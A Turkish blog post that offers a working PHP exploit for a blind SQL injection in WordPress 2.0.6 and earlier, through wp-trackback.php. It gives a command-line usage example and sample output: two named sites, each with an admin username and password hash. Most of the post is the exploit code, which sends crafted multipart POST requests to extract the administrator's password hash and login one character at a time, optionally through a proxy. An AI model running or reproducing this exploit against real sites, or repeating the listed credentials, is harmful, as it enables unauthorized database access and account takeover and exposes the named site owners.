Eğitimci Blog

Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Sql Yaparak Admin Hash Ulasabilirsiniz...
C:\php> php wordpressexploit.php target.com/blog/ seklinde
Ornek : poseurink.com
username: poseurin
passhash: 583299ff41b22577ba8c2f454de89cd7
macsmind.com
username: admin
passhash: 7678a9aad1b1b68d94df241128b70bc7

  126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if
(strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.="
0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n";
$exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex =
'(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) {
global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from
'.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo
'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to
".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) {
echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html='';
while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } }
fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy="";
$prefix="wp_"; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if
($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") {
$proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-t") {$prefix=str_replace("-t","",$argv[$i]); } } if (($path[0]<>'/') or
($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='')
{$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters function my_encode($my_string)
{ $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) {
$encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else
{$encoded.=",";} } return $encoded; } echo "\npwd hash -> "; $j=1;$password="";
while (!strstr($password,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) {
$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_pass,".$j.",1))="
.$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/**
/WHERE/**/ID=1/*"; $data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"url\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"blog_name\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"tb_id\";\r\n\r\n"; $data.="$sql\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"1740009377\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"496546471\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."wp￾trackback.php?tb_id=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n";
$packet.=$data; sendpacketii($packet); if (!eregi("trackbacks are closed",$html))
{$password.=chr($i);echo chr($i);sleep(1);break;} } if ($i==255) { die("\nExploit
failed..."); } } $j++; } echo "\n"; echo "admin user -> "; $j=1;$admin=""; while
(!strstr($admin,chr(0))) { for ($i=0; $i<=255; $i++) {
$sql="999999/**/UNION/**/SELECT/**/(IF((ASCII(SUBSTRING(user_login,".$j.",1))=
".$i."),".my_encode("open").",".my_encode("sun-tzu")."))/**/FROM/**/".$prefix."users/*
*/WHERE/**/ID=1/*"; $data ="-----------------------------7d61bcd1f033e\r\n";
$data.="Content-Disposition: form-data; name=\"title\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"url\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"blog_name\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"tb_id\";\r\n\r\n"; $data.="$sql\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"1740009377\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e\r\n"; $data.="Content-Disposition: form￾data; name=\"496546471\";\r\n\r\n"; $data.="1\r\n";
$data.="-----------------------------7d61bcd1f033e--\r\n"; $packet ="POST ".$p."wp￾trackback.php?tb_id=1 HTTP/1.0\r\n"; $packet.="Content-Type: multipart/form-data;
boundary=---------------------------7d61bcd1f033e\r\n"; $packet.="Host: ".$host."\r\n";$packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n\r\n";
$packet.=$data; sendpacketii($packet); if (!eregi("trackbacks are closed",$html))
{$admin.=chr($i);echo chr($i);sleep(1);break;} if ($i==255) { die("\nExploit failed..."); }
} $j++; } echo "\n"; function is_hash($hash) { if (ereg("([a-f0-9]{32})",trim($hash)))
{return true;} else {return false;} } if (is_hash($password)) { echo "exploit
succeeded..."; } else { echo "exploit failed..."; } ?> 

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